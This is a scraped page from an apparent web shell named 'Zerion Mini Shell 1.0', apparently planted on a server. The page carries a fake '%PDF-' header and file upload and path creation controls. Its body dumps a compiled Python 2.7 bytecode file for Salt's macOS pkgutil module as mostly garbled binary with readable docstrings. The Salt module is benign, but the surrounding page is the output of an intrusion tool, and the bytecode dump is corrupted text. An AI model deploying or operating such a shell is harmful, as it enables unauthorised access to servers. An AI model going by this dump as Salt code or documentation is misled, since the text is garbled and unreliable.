%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/modules/mac_pkgutil.pyo

�
���^c@@s�dZddlmZmZmZddlZddlmZddl	Z
ddlZ
ddlZ
ddl
Z
ddlmZidd6ZdZd	�Zd
�Zd�Zd�Zd
�Zd�ZdS(u]
Installer support for macOS.

Installer is the native .pkg/.mpkg package manager for macOS.
i(tabsolute_importtprint_functiontunicode_literalsN(turllib(tSaltInvocationErrorulistulist_upkgutilcC@s?tjjj�stdfStjjjd�s;tdfStS(Nu Only available on Mac OS systemsupkgutiluMissing pkgutil binary(tsalttutilstplatformt	is_darwintFalsetpathtwhicht__virtualname__(((s</usr/lib/python2.7/site-packages/salt/modules/mac_pkgutil.pyt__virtual__s


cC@s%d}tjjj|�}|j�S(u�
    List the installed packages.

    :return: A list of installed packages
    :rtype: list

    CLI Example:

    .. code-block:: bash

        salt '*' pkgutil.list
    upkgutil --pkgs(RRt	mac_utilstexecute_return_resultt
splitlines(tcmdtret((s</usr/lib/python2.7/site-packages/salt/modules/mac_pkgutil.pytlist_'s
cC@s
|t�kS(u�
    Returns whether a given package id is installed.

    :return: True if installed, otherwise False
    :rtype: bool

    CLI Example:

    .. code-block:: bash

        salt '*' pkgutil.is_installed com.apple.pkg.gcc4.2Leo
    (R(t
package_id((s</usr/lib/python2.7/site-packages/salt/modules/mac_pkgutil.pytis_installed9s
cC@sRtjj|�s0dj|�}t|��ndj|�}tjjj|�S(uD
    Internal function to install a package from the given path
    uFile not found: {0}uinstaller -pkg "{0}" -target /(	tosR
texiststformatRRRRtexecute_return_success(R
tmsgR((s</usr/lib/python2.7/site-packages/salt/modules/mac_pkgutil.pyt_install_from_pathIs
cC@sft|�rtStjj|�}|jdksRdj|j�}t|��nt|�t|�S(ul
    Install a .pkg from an URI or an absolute path.

    :param str source: The path to a package.

    :param str package_id: The package ID

    :return: True if successful, otherwise False
    :rtype: bool

    CLI Example:

    .. code-block:: bash

        salt '*' pkgutil.install source=/vagrant/build_essentials.pkg package_id=com.apple.pkg.gcc4.2Leo
    uu&Unsupported scheme for source uri: {0}(	RtTrueRtparseturlparsetschemeRRR(tsourceRturiR((s</usr/lib/python2.7/site-packages/salt/modules/mac_pkgutil.pytinstallUs
cC@s-dj|�}tjjj|�t|�S(u�
    .. versionadded:: 2016.3.0

    Remove the receipt data about the specified package. Does not remove files.

    .. warning::
        DO NOT use this command to fix broken package design

    :param str package_id: The name of the package to forget

    :return: True if successful, otherwise False
    :rtype: bool

    CLI Example:

    .. code-block:: bash

        salt '*' pkgutil.forget com.apple.pkg.gcc4.2Leo
    upkgutil --forget {0}(RRRRRR(RR((s</usr/lib/python2.7/site-packages/salt/modules/mac_pkgutil.pytforgetss(t__doc__t
__future__RRRtos.pathRtsalt.ext.six.movesRtsalt.utils.pathRtsalt.utils.platformtsalt.utils.itertoolstsalt.utils.mac_utilstsalt.exceptionsRt__func_alias__RR
RRRR"R#(((s</usr/lib/python2.7/site-packages/salt/modules/mac_pkgutil.pyt<module>s 
	
				

Zerion Mini Shell 1.0